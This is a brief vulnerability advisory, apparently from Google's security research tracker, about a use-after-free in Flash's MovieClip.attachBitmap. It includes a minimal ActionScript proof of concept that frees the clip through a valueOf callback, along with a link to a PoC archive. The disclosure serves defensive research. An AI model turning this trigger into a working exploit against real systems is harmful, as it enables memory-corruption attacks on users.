Source: https://code.google.com/p/google-security-research/issues/detail?id=593
There is a use-after-free in MovieClip.attachBitmap. If the depth parameter is an object with valueOf defined, this method can free the MovieClip, which is then used.
A minimal PoC follows:
this.createEmptyMovieClip("mc", 1);
var b = new flash.display.BitmapData(100, 100, true, 0x77777777);
mc.attachBitmap( b, {valueOf : func });
function func(){
mc.removeMovieClip();
// Fix heap here
return 5;
}
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39040.zip
